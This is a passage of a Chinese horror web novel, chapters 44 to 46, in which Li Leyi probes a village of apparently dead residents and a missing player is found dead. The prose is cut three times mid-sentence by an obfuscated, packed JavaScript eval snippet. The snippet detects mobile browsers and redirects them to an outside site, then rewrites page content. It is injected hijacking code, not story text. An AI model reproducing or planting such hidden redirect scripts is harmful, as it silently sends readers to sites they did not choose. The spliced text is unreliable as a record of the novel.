李红轻轻啧了一声,走上前挡住他的视线:“陆直哥,你今天又带着馍馍来给军叔换药啊。” 陆直收回视线,转身挑起扁担往村子里走:“嗯。” 小帅屁颠屁颠地跟在陆直身边,李红恶狠狠地瞪了它一眼,也快步跟上陆直:“陆直哥,你今天中午就去我家吃饭吧,我娘这次腌的咸菜可好吃了。我们家平时都舍不得吃,今天你来,我让我娘拿点出来。” “不了。” …… - 梨乐一和鹤溪来到黄林泽所住的屋后。 两人先贴着墙根听了一会院子里的动静,黄林泽的“爹娘”似乎都不在院子里,院子里十分安静。 农村院子的围墙都不高,鹤溪站直的时候土墙刚刚到他的脖子,他转头想问梨乐一需不需要自己帮忙,就看见梨乐一已经利索地翻进墙内。 …… 他紧随其后翻了进去。 黄林泽住的西侧房门是半掩着的,两人轻手轻脚地来到门口,就听见屋里的黄林泽似乎在和什么人对话。 “我不知道,我真的不知道,我不知道ta在哪里,他们不会告诉我的……” “他们给我馍馍,他们还给我喝粥,他们对我很好……” “找过了,都找过了,没有,都没有……” 黄林泽的情绪有些激动,说的话前言不搭后语的,但屋内始终没有响起另一个人的声音。 唯有窗边被风吹动的风铃发出悦耳空灵的声响,像是在回应着黄林泽的话。 “叮铃铃,叮铃铃。” 44. 红衣 “叮铃铃。” “叮铃铃。” 风铃声不知疲倦地响着,这让梨乐一想起了自己房间窗户外挂着的那串风铃,似乎也是这个声音。 她心中升起一股怪异的感觉。 早上来的时候没注意,现在才发现黄林泽的房间窗户竟然也挂了一串风铃,这会是巧合吗? 梨乐一小心翼翼地将门缝推得更大了一些,想要看看挂在黄林泽窗户上的那串风铃是什么样的。 梨乐一房间窗户上挂着的那串风铃是陶瓷材质。 一个个白色的陶瓷铃铛通过金属线和顶部连接在一起,错落有致地坠在半空,每当风吹过,白色铃铛相互碰撞,便会发出清脆悦耳的响声。 很快,梨乐一看清了黄林泽房间窗户上挂着的那串风铃。 和她的风铃一模一样。 与此同时,梨乐一也通过窗户玻璃的反光看见了坐在床边的黄林泽。 他一边说话,一边手舞足蹈地比划着什么。而在玻璃的反光里,梨乐一还看见了黄林泽身旁坐着一个模糊的红色身影,但因为红色身影只照到了一部分,所以梨乐一无法判断身影的主人是男是女,只能看出那似乎是一个年纪不大的小孩子。 就在梨乐一和鹤溪屏息凝神地留意着房间里的动静时,“啪嗒”,一颗石头突然从天而降砸在了房间的窗户上。 黄林泽瞬间清醒过来,警惕地对着窗户外喊道:“谁?” 梨乐一和鹤溪及时翻墙离开了院子,幸而黄林泽没有追出来查看,梨乐一松了一口气。 黄林泽精神状态俨然已经受到了副本里【怨】的影响,且【怨】就在他身边。 梨乐一看了眼身旁的鹤溪,将刨根问底的心思暂且压下去。 现在靠近黄林泽显然是一件非常危险的事情,虽然有利于梨乐一的作死大计,但她不想让鹤溪跟着自己一起涉险作死。 所以,梨乐一在心里暗暗琢磨着一会该用什么样的借口将鹤溪从自己身边支走,自己好回来找黄林泽深入地“聊一聊”。 鹤溪似乎没看出来梨乐一正憋着坏,只问她:“还听吗?” 梨乐一摇头:“不了,再听下去也听不到什么有用的信息的,走吧。” 鹤溪:“好。” 两人走到外面的道路上,梨乐一余光忽地瞥见有人影从远处一闪而过,待她转头看过去时,却什么也没看到。 梨乐一奇怪地收回视线。 刚才的一瞥,她看见那人影好像穿着白色的衣服,身型纤细应该是个女生,但是除了她,玩家里的两名女玩家穿的都不是白色的衣服。 难道是她看错了。 思及此,梨乐一便没有将那人影的事告诉鹤溪,而是问道:“你房间的窗户外面,有挂着一串风铃吗?” 鹤溪:“有。” 梨乐一心中的猜测得到证实,恐怕不止她和鹤溪,所有玩家的窗户外应该都挂了一串风铃。 只不过她暂时还想不出,风铃和副本里的【怨】会有什么联系。 而关于【怨】身份的调查,玩家们进行的也并不顺利,因为他们除了昨天晚上放的河灯,便再没有任何关于【怨】的信息,就连问都不知道该怎么问。 中午回家吃饭,梨乐一捧着碗喝了一口又酸又涩还黏糊糊的野菜粥后,长叹一口气,将碗放下。 “这样的日子,什么时候是个头哟。” 李鹏斜眼瞧她,语气不善:“别得了便宜还卖乖,粥都进你肚子里了,你还在这里抱怨什么?” 梨乐一不搭理李鹏,转头看着王萍:“娘,我想吃肉,就算没有肉,鸡蛋也可以,番茄蛋花汤什么的,可比这个野菜粥好喝多了。” 王萍没看她,低头喝粥,脸都快埋进碗里:“快了快了,等熬过这段时间,就好了。” 梨乐一记得在进入副本的第一天,王萍便对李鹏说过这句话,她似乎笃定这样的情况很快就会结束,包括李鹏和李从福也是这么认为的。 是什么给了他们这样的笃定和希望?会是玩家的到来吗? 梨乐一正要再开口,对面的李从福突然“砰”的一声,重重将碗搁在桌上:“再不吃饭就别吃了!” 梨乐一闭上嘴,默默捧起碗将粥喝了个精光。 她放下碗,擦了擦嘴,突然想起什么似的,坐直身体道:“对了,今天是七月十五中元节呢,咱们需要祭祀祖宗吗? 梨乐一没有错过在她提到“七月十五”这个日子时,王萍的身体不受控制地抖了一下。李从福听到话后,脸色也黑如锅底,死死地盯着她。 梨乐一只是瞪着一双水汪汪的大眼睛,无辜又单纯地看着王萍。 良久,王萍开口,声音微微颤抖:“不、不、不了,昨天晚上已经祭祀过了,今天就不祭祀了……” “这样啊。”梨乐一点点头。 说完,她在李从福阴沉得像是要杀人的目光中站起身,如往常那般道:“我出去玩啦。” 一路上走来,梨乐一并未看到在路边烧纸钱的人,经过的人家也都是和昨天一样,坐在堂屋里吃饭聊天,要不是出门前特意看了一眼挂历,确定今天是七月十五中元节,梨乐一都要以为是自己记错日子了。 她一边吃着早上鹤溪塞给自己的饼干,一边朝约定的集合地点走去。 玩家们陆陆续续赶到,唯独一名男玩家于江迟迟不见踪影。 就在梨乐一以为他也跟黄林泽一样出事了的时候,于江的身影出现在道路尽头,还给众人带来了一个坏消息。 “我刚才看见黄林泽一个人急匆匆地往山后去了。” 徐传海皱眉:“你没跟上去看看他要去哪?” 于江冷哼:“黄林泽状态一看就不对劲,我叫了他好几声他都跟没听到似的,跟上去,我命不要了?” 徐传海脸色沉了下去:“你——” “他是往哪个方向走的?”鹤溪打断徐传海。 于江给鹤溪指了一个方向:“那边。” 鹤溪顺着于江的手看过去,那双漂亮的桃花眼瞬间覆上一层阴霾。黄林泽消失的方向,正好是昨天晚上他们去放河灯走的那个方向。 鹤溪没有犹豫多久:“我去看看。” 梨乐一立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482275|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附和:“那我跟你一起去吧。” 话落,她立刻感觉到有几道打量的目光落在自己身上。因为她此刻的表现,和她进入副本以来,一直在众人面前装的胆小菜鸟人设并不符合。 她垮下脸,咬着嘴唇,手指不安地绞起衣角:“我、我、我也是想快点解开【怨】,离开这里。” 鹤溪头一次拒绝了梨乐一的请求:“山路不好走,我快去快回。” 这是不准备带着她的意思了。 梨乐一不死心:“可是我——” “确实,山路不好走,还耗费体力,你们女生就留在村子里吧。”千野站出来,“鹤溪,我跟你一起去。” 至于刚才质问于江为什么没有跟上去的徐传海,此时此刻却沉默地站在一旁,没有出声。 鹤溪和千野对视一眼,便立刻朝着黄林泽离开的方向走去。 经过梨乐一身边时,鹤溪偏头对她说了一句:“我很快就回来。” 梨乐一皱眉,不赞同地看着鹤溪,但鹤溪脚步并未停留,她下意识地抬脚想追上去,但是手臂却突然被人挽住,转头一看,是左思青。 左思青笑眯眯地看着梨乐一:“行啦,他们就是跟上去看看而已,不会有危险的,我们也该去找线索啦。” 沈雪珍和于江毫不犹豫地离开,左思青也熟络地拉着梨乐一往和鹤溪相反的方向走。 最后剩下徐传海留在原地,他盯着鹤溪和千野的背影,良久,嗤笑一声道:“装什么英雄,迟早把自己的命搭进去。” - “你和鹤溪关系可真好。”走在路上,左思青突然开口。 梨乐一疑惑:“我和鹤溪的关系看上去很好吗?也……没有吧……” 左思青点头:“当然好啦,你们两个随时随地都在一起,我每次想跟你一起找线索都找不到机会。” 梨乐一尴尬地笑笑:“我们也没有随时随地都在一起,我刚才之所以想跟着鹤溪一起去,是因为我觉得黄林泽身上一定有重要线索。我,我,我虽然没什么经验,但是就是因为没经验,才要多多锻炼自己嘛,毕竟以后的副本会越来越危险。” “而且,你如果害怕的话,就算鹤溪在你也可以来找我的,我们可以三个人一起。” 左思青听到前一段话,还认可地点了点头,但一听到后一句,就立刻将脑袋摇成了拨浪鼓:“不不不,我觉得鹤溪看上去冷冰冰凶巴巴的,一点也不好相处。” “没有呀,”梨乐一一本正经地为鹤溪辩解道,“他人很好的,你多跟他相处一会就知道了。” 左思青还是摇头:“那只是你觉得,在我看来,鹤溪一点也不好接近,为人还十分冷漠。我以前副本里遇到过和鹤溪差不多的人,那些人遇到真正危险的情况的时候,都是很自私冷漠的。” 梨乐一抿了抿唇,语气郑重地道:“鹤溪不是那样的人。” 也正因为鹤溪不是那样的人,所以她这个副本的作死之路才如此艰难。 左思青歪头盯着梨乐一,片刻后,脸上绽开一个灿烂的笑:“所以我就说嘛,你和鹤溪的关系真的很好。” 45. 红衣 左思青是个非常健谈的人,一路上小嘴叭叭的就没有停过。梨乐一大部分时候都安静地听着,只偶尔附和个一两句。 没过多久,梨乐一便寻了个由头和左思青分开。 倒也不是嫌她吵,而是左思青一直跟着她的话,她不好施展自己的作死大计。 和左思青分开后,梨乐一专往没人的地方钻。村子里空着的房子不少,梨乐一但凡看见空房子都会进去转一圈,但很可惜的是,没什么收获。 那些空房子都被收拾得很干净,一点线索也没有给他们留下。 梨乐一两手插兜,在村子里转的越来越迷茫,难道真的已经发展到那一步了吗?她真的要趁着月黑风高,去敲王萍和李从福的棺材盖了吗? 不远处道路中间,有几个看上去十多岁的小孩正在玩老鹰捉小鸡,银铃般的笑声让死气沉沉的村子都重新焕发起生机来。 而梨乐一注意到,在路边的树荫下坐着一个瘦瘦小小的女孩,穿着一条白色棉布裙,正一动不动地看着那群玩游戏的人。 梨乐一朝落单的小女孩走过去。 小女孩很瘦,跟皮包骨似的,一点肉也没有,稍微动一下就能看清她骨骼的形状,唯独那双眼睛又黑又亮,跟黑珍珠一样。 梨乐一走到女孩身边,学着她席地而坐。 “怎么不过去跟他们一起玩?”梨乐一问。 小女孩黑珍珠般的眼睛朝梨乐一看过来,眼中带着好奇和打量,片刻后,她回答道:“他们嫌弃我年纪小,不愿意跟我玩。” 梨乐一于是顺着她的话问道:“你几岁啦?” 小女孩:“七岁。” 那是挺小的,大孩子一般都不喜欢带着年纪比自己小许多的玩,怪不得自己一个人孤零零的在这里坐着呢。 而且这个小女孩也是梨乐一近两天在村子里转,遇到的年纪最小的一个孩子了。 正好,年纪越小越好套话。 梨乐一双手环膝,身子朝小女孩那边歪了歪,掐着嗓子道:“你叫什么名字呀?” 女孩:“安安。” 梨乐一又问:“你自己跑出来玩,你父母不担心你吗?” 安安:“我娘上山去给我找吃的了。” “这样啊。” 现在铺垫已经做得差不多了,梨乐一直奔主题:“那你娘有没有跟你说过,村子里为什么会遭饥荒?” “……” 刚才还一问一答的小女孩此刻嘴唇紧闭,视线直勾勾地落在那群正在玩老鹰捉小鸡的大孩子们身上,没有一点要开口的意思。 梨乐一觉得安安应该是没听懂自己的问话,于是她换了种更简单易懂的表述:“你娘有跟你说过,为什么咱们顿顿只能吃野菜,不能吃其他好吃的东西吗?” “……”安安还是不说话。 梨乐一没辙了,安安这边问不出来,只能去问问另一边玩游戏的大孩子了。 她站起身准备离开,安安却突然伸手抓住她的手,仰头看着她:“姐姐,我喜欢你。” 梨乐一笑了:“姐姐也喜欢你。” 安安瞥了一眼那群笑的嘻嘻哈哈的大孩子们,压低声音又道:“我喜欢你,所以我要告诉你一个秘密。” 梨乐一闻言,很给面子地蹲下来平视安安:“你说,我听着。” 安安凑到梨乐一耳边,压低声音道:“这个村子里的人都是死人。” 梨乐一心头重重一跳,她转头去看安安,发现安安脸上表情认真,不像是在开玩笑。 她按下心中的震惊:“你怎么知道村子里的人都是死人呢?” 安安回答:“因为他们晚上都睡在棺材里,我亲眼看见的。” 梨乐一心跳越来越快,她和安安对视着,整个人几乎要不受控制地深陷入那双黑眸之中。 因为她昨天晚上亲眼看见了王萍和李从福睡在棺材里,所以她知道安安没有骗自己。 只是安安毕竟是小孩子,小孩子心思单纯想法简单,看事情不全面,容易以偏概全,所以梨乐一想了想,又问道: “那除了晚上睡在棺材里,村民们还做过其他什么奇怪的事情,让你觉得他们已经死了呀?” 安安却不说话了,只是看着梨乐一笑,那双又大又圆的眼睛看上去有些空洞。 梨乐一被她看得后背发凉,无意识地往后退了一步,手因此从安安的手里抽了出来。 下一秒,安安忽然转身跑走,梨乐一根本来不及抓住她。 梨乐一看着安安的背影消失在街道尽头,她又转头看向路中间笑容灿烂的孩子们,后背缓缓升起一股寒意。 但伴随着寒意一起来的,还有激动。 如果安安说的是真的…… 梨乐一抬脚朝那群孩子走去:“请问——” 才刚说了一个字,那群玩得正开心的孩子们瞬间尖叫着作鸟兽散,几秒钟便跑的不见人影,看样子似乎把她当做什么洪水猛兽了。 梨乐一:该怕的人应该是我吧…… “他们一直都是这样的。” 身后响起陌生的男声,梨乐一回头,就看见一道清瘦修长的身影缓缓从树荫下走出来。 男生剑眉星目,皮肤是健康的小麦色,年纪估摸着二十岁出头,穿着简单的白T短裤,看上去干净又清爽。 他黑眸亮的发烫,一瞬不瞬地看着梨乐一:“陆直。” 好一会,梨乐一才反应过来男生是在和自己自我介绍:“梨、梨乐一。” “嗯。” 陆直抬眸看向那群小孩消失的地方,语气平淡地解释道:“他们对于陌生的面孔一直都很抵触,我刚来的时候,他们也是这么对我的。” “你刚来……”梨乐一敏锐地捉住陆直话语中透露出的信息,“你不是李家村的人?” 陆直:“嗯,两年前我在山里迷了路,快饿死的时候是我干爹救了我。我干爹现在身体不好,所以我留下来照顾他,给他送终。” 梨乐一点头:“原来是这样,不过我这几天怎么没有在村子里见过你?” 陆直:“因为我不住在这里。”他抬手指向身后,“要翻过两座山才能到我住的地方,我今天是来村子上给我干爹买药的,每隔两个月来一次。” 梨乐一只简单问了两个问题,陆直便将自己的情况给抖落得差不多了,因为他的过于坦诚,梨乐一反而变得局促起来,不知道接下来该问些什么。 “那个,你……你对于李家村整体的情况了解吗?” 陆直摇头:“不了解,我除了买药基本上不来这里。” “哦。” 梨乐一没有问题可以问陆直了,两人间的气氛冷下去,片刻后,陆直开口问梨乐一:“你是来李家村走亲戚的吗?” 梨乐一眉头微蹙:“谁跟你说我是来走亲戚的?” 陆直一五一十地回答道:“李红。” “李红跟你说我是来走亲戚的?”梨乐一诧异。 陆直歪头,表情疑惑:“怎么了,不是吗?” 梨乐一看着陆直清澈的目光,磕巴了一下道:“呃……是,我是来走亲戚的。” 陆直看上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487284|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和李家村的种种怪事无关,梨乐一不准备和他说太多,免得把他拉进这趟浑水里来,那可就不好了。 关键点在李红身上。 李红昨天先是不清楚她的身份,今天又跟陆直撒谎说她是来李家村走亲戚的,李红应该知道些什么。 难道说,在这个副本里,她的身份其实并不是李从福和王萍的女儿,而是别的什么人? 梨乐一陷入沉思,陆直则站在一旁默默地盯着她看。 “喵~” 一声黏黏糊糊的猫叫打断二人的思绪,梨乐一回神便看见小帅正亲昵地蹭着陆直的裤腿。 这一幕怎么看怎么熟悉。 梨乐一小声骂道:“白眼狼,天天晚上都睡我的床,在外面看见我居然连招呼都不打。” 陆直听到梨乐一的话,眼神亮了一些:“这是你的猫?” 纠结三秒,梨乐一果断认下这个头衔,在副本里的每个深夜都是她陪小帅度过的,这怎么不算是主人呢。 “是,它是我的猫。” 陆直笑弯了眉眼:“它很可爱。它叫什么名字?” “……小帅,帅气的帅。” “……也……是很可爱的名字。” 陆直蹲下身,从兜里掏出一块馍馍,掰碎了一点一点喂给小帅。 梨乐一见状也跟着一起蹲下,托腮看小帅现场吃播。周围蝉鸣声声,灼热的阳光烘烤着大地,但树荫下却分外凉爽,梨乐一很快便眯着眼享受起这难得的悠闲时光。 只是这悠闲时光却很快被一道尖锐的女声打破:“陆直哥!” 一席红色碎花裙摆随即闯入梨乐一的视线。 李红毫不客气地插|进梨乐一和陆直中间,她指着梨乐一质问道:“陆直哥,你怎么能跟她在一起呢?” 陆直站起身,拉起还蹲在地上没反应过来的梨乐一,将她护在身后,反问李红道:“她是我刚认识的朋友,我为什么不可以跟她在一起?” 李红气的眼睛都红了,指着梨乐一语无伦次地道:“你不知道!她是……她是……” 一个“她是”李红翻来覆去说了好几遍,却始终没有下文,梨乐一微微眯起眼,李红果然知道些什么。 到最后,李红破罐子破摔,说不出来理由便强硬地上手想要去抓陆直。 陆直一个侧身躲过,拉着梨乐一后退几步,远离李红。 李红眼泪顿时憋不住了,大颗大颗地往下流:“陆直哥,你明明,你明明知道我喜欢你,你还跟其他女人走的那么近,你、你、你没有良心!!!” 梨乐一闻言震惊地看着陆直,没想到他跟李红之间竟然有这么一段故事。 陆直无奈地叹了一口气,先回头对梨乐一解释:“你别听她说的,我和她没有任何关系。” 然后又转回头看着李红,语气公事公办:“李红,我之前就跟你说过,我不喜欢你。” “你的每次示好和靠近我都拒绝了,我以为你会死心放弃,但我没有想到你竟然还是误会了我们的关系,那我就再跟你说明白一点。” “李红,我不喜欢你,以后也不会。每次见到你跟你说话,对你的客气是因为我不想和村子里的人关系闹得太僵,毕竟军叔身体不好,每天都必须要用村子里的药吊着精神。” 李红不敢置信地看着陆直,身体开始剧烈颤抖起来,整个人看上去像是快要碎掉。 陆直却漠然地转身,牵着梨乐一的手头也不回地离开。 也因此,他们没有看到李红落在他们相牵的手上时,骤然变得阴冷怨毒的目光。 46. 红衣 陆直牵着梨乐一的手在村子里七拐八拐,直到来到一处空置的屋子前才放开她的手。 他走进院子挑起扁担后又回到梨乐一跟前,垂眸专注地看着她:“现在时间不早了,我得赶回去做饭了,因为军叔手脚不方便,做不了饭。” 梨乐一:“呃……” 陆直事事都跟梨乐一交待的十分清楚,想着这应该就是陆直对待朋友的方式,所以梨乐一客气地回道: “那你回吧,路上注意安全。” “好。”陆直眼中浮现出淡淡的笑意,不过他没有走,而是又问,“你这次来走亲戚,会在村子里待多久?” “这个嘛……” 梨乐一认真思考了一下,她现在手上掌握的线索还不是很多,对于这个副本里【怨】的执念也毫无头绪,作死之路相对漫长。 “可能还会待个两三天吧。” 陆直唇角的笑意浅了几分,他看着梨乐一,语气突然变得郑重:“我明天还会来。” 梨乐一表情呆呆的:“哦……好。” “再见。” 陆直深深地看梨乐一一眼,眼神灼热的像是要把她的脸给烫个洞,而后便转身,挑着空扁担离开了。 梨乐一脸上的热度则是过了好几分钟才慢慢退下去。 - 梨乐一转悠到村口的时候,正好瞧见鹤溪和千野神情凝重地从山上走下来。 她立刻迎上去:“怎么样,黄林泽找到了吗?” 鹤溪摇头:“没有。我们原本已经追上他,跟着他去到了昨天晚上放河灯的地方,但跟到河边之后,黄林泽人就不见了。” 千野接过话:“黄林泽的脚印是在河边消失的,但是我们并没有在河里看见他的身影,说不定……他现在已经沉到河底了。” 黄林泽这条线因为他的失踪断掉了。 至于早上在黄林泽屋里和他对话的那个人,应该就是这个副本的【怨】无疑了。从昨天晚上梨乐一在河岸边看到的脚印,以及今早透过窗户看到的那一抹红影可知,【怨】的年纪应该不大,是个小孩子。 【怨】昨天晚上在他们放河灯之后便跟着他们回到了村子,而后找上了黄林泽,但,为什么会是黄林泽呢? 梨乐一百思不得其解,难不成,是因为黄林泽昨天白天找线索的时候无意间掉进河里的缘故? 除了这个梨乐一暂时想不到其他的可能,毕竟【怨】一开始也是在河里的。 再者说,昨天晚上【怨】第一次现身的时候,就是站在黄林泽身后的,或许黄林泽从白天落水开始就已经被【怨】盯上了。 不过说到底,黄林泽落水属于突发事件,梨乐一这种理论型选手还是决定要把作死重点放在村民的身上。 关于下午小女孩安安对她说的那些话,其实梨乐一并没有全信。如果村民们真的都已经死了,那在日常生活中总会露出的破绽,这一点梨乐一打算再观察观察。 傍晚,梨乐一回屋的时候,王萍没有像昨天那样坐在院门口洗菜,院子里冷冷清清的,而堂屋则是大门紧闭,里面隐隐传出来说话声。 哟,这是背着她说什么悄悄话呢。梨乐一眼睛一亮,立刻凑到门边。 “你疯了!那可是你妹妹!”李从福的声音难掩愤怒。 “妹妹怎么了?”李鹏轻嗤一声,“你不是经常说女儿是赔钱货,迟早要嫁出去么,我这么想有错吗?” 李从福被李鹏气的说不出话来:“你、你、你……” 王萍的声音响起:“行了行了,你就别再气你爹了。以前你说什么娘都顺着你,但这次不行。” “把你妹妹嫁出去是可以收彩礼钱的,你以为那彩礼钱光是用来给你娶媳妇的吗?你也不想想,家里到处都是用钱的地方呢。” 梨乐一倒吸一口凉气,这一家三口是在琢磨着把她卖给别人家当媳妇赚钱吗?简直是丧心病狂,丧尽—— 门突然从里面打开,梨乐一差点和王萍来了个脸贴脸。 她站直身子,装出一副无事发生的模样,朝屋内三人打招呼道:“都在呢。” 王萍面色尴尬,好一会才反应过来,脸上勉强挤个笑出来:“翠花回来啦,赶快去洗手准备吃饭吧。” 说完便绕过梨乐一,急匆匆地往厨房去了。 剩下梨乐一和留在屋子里的李从福和李鹏大眼瞪小眼。 李从福没好气地看了一眼梨乐一,从鼻子里泄出一声冷哼,背过身去抽烟了,就差在脸上写上六个大字:我不想看见你! 而李鹏仍是用那种带着侵略和渴望,让梨乐一极不舒服的目光看着她,并且和昨天晚上比起来,那目光中此时还多了一种名为不甘的情绪。 梨乐一被盯得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497320|182619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身不舒服,转身先回自己屋子里待着去了。 晚饭吃到一半的时候,院子外突然变得吵闹起来,梨乐一隐约听见什么“找到了”、“死人”的字样。 意识到什么,她“咚”地一声放下碗冲了出去。 梨乐一循着声音跑到黄林泽住的那户人家外,就看见院中央躺着一个人,而黄林泽的“爹娘”正跪在那个人身旁撕心裂肺地哭着。 院墙外站了不少人,都是被老两口的哭声吸引来的。 “狗剩啊,狗剩啊,你走了娘怎么活啊——” “我的狗剩,我的儿子啊——” 隔着院门口晃动人影,梨乐一看清院中地上紧闭双眼躺着的那个人正是失踪了的黄林泽。 “进去看看。” 鹤溪不知道在什么时候来到梨乐一身旁,他拉住梨乐一的手腕,带她穿过院外看热闹的人群去到黄林泽的尸体旁。 不过才几个小时不见,黄林泽便又变了模样,他瘦到脱了相,眼窝深陷,薄薄一层脸皮紧紧包裹着头骨,手腕干瘦如枯枝。 他身上穿的那套衣服款式没变,但颜色却变成了渗人的猩红色。并且,前一天穿在他身上还被撑得胀鼓鼓的衣服,此时此刻却变得宽松无比,唯有肚子不正常地鼓起。 根据鹤溪和千野所说,黄林泽是在河边失踪的,可现在他的尸|体却一点也看不出被水泡过的痕迹。 鹤溪正准备上前仔细查看一番,被站在老两口旁边的中年男人给拦住了,男人是李家村的村长,李国富。 梨乐一见状开口:“村长,黄…狗剩也是我们的朋友,可以让我们过去看他最后一眼吗?” 李国富面无表情地看向梨乐一:“死|人不吉利,你们小孩还是少看的好。” “我们毕竟是狗剩的朋友,不管怎么说,最后一面——” 李国富不听梨乐一的辩解,视线往站在院外看热闹、不敢进来的人群上一扫,厉声道:“谁家的人,来领回去!” 王萍立刻从人群后钻了出来,点头哈腰地走上前:“我家的我家的,村长别生气。” 她拉住梨乐一的手往外拖:“走了走了,什么热闹你都来凑,胆子也是够大的。” 王萍说话时,视线有意无意地往黄林泽的尸|体上扫去一眼,梨乐一没有错过她眼中一闪而过的恐惧,和努力压抑着的欣喜。